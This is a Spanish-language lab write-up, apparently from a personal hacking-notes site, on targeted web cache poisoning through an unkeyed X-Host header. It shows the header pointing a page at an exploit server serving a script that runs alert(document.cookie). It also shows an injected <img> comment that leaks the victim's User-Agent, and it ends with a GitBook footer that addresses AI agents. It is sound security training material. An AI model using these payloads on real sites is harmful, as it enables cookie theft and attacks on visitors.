> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Envenenamiento de caché dirigido mediante un encabezado desconocido

### Envenenamiento de caché web dirigido usando un encabezado desconocido

Envenena la caché con una respuesta que se ejecuta `alert(document.cookie)` en el navegador de un visitante, **pero solo para un subconjunto de usuarios** correspondiente a la víctima.

#### Observación inicial

* La solicitud/respuesta se intercepta.

<figure><img src="/files/37a16cfbfeaf36f4c53acc9ae2f8545623035b8a" alt=""><figcaption></figcaption></figure>

Con la **Param Miner** extensión, iniciamos la detección de encabezados explotables

<figure><img src="/files/8cc4537c639ac28ebb31ca9645e661263da53879" alt=""><figcaption></figcaption></figure>

* La herramienta revela un \*\*encabezado

<figure><img src="/files/5c9fda47d971067678489c7a52a387d0ac9ab427" alt=""><figcaption></figcaption></figure>

Si `X-Host: test.com` se envía, el valor se reinyecta en la respuesta (en `src`).

```http
X-Host: test.com
```

#### Implementación de la carga útil

1. En el \*\*servidor de exploits\*\*, creamos un recurso **con la ruta/título**:

* `/resources/js/tracking.js`

<figure><img src="/files/b5f074cabaa3df320b982ea5b1b0dd761fb8a388" alt=""><figcaption></figcaption></figure>

Contenido del archivo:

```javascript
alert(document.cookie)
```

<figure><img src="/files/326a638cc013aac4ad9f28bff205ab2b677eef85" alt=""><figcaption></figcaption></figure>

#### Envenenamiento de caché dirigido a X-Host

* La solicitud se devuelve con:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/976261355375eb3dc2f1251d682daec9b0d8b125" alt=""><figcaption></figcaption></figure>

La página entonces carga el `tracking.js` desde el servidor de exploits, lo que activa la alerta.

<figure><img src="/files/1a612f0d3b8dbaf18e5236bbddd39f39e628497a" alt=""><figcaption></figcaption></figure>

#### Dirigirse a la víctima con el User-Agent

* Observamos que la respuesta varía según `User-Agent` (a través de `Vary`), así que para llegar a la víctima debemos **conocer el User-Agent de la víctima**.

<figure><img src="/files/e1a57f9b9f51ac6382134e442a0de31f1b8974cd" alt=""><figcaption></figcaption></figure>

Publica un comentario que fuerce una solicitud al servidor de exploits:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/c2cc2007c80195955bc779e0a3a098facd07bb3d" alt=""><figcaption></figcaption></figure>

En los registros del servidor de exploits, se recupera el User-Agent de la víctima:

<figure><img src="/files/4fa6751a934459ffc22350581e9b0f86f8c20744" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.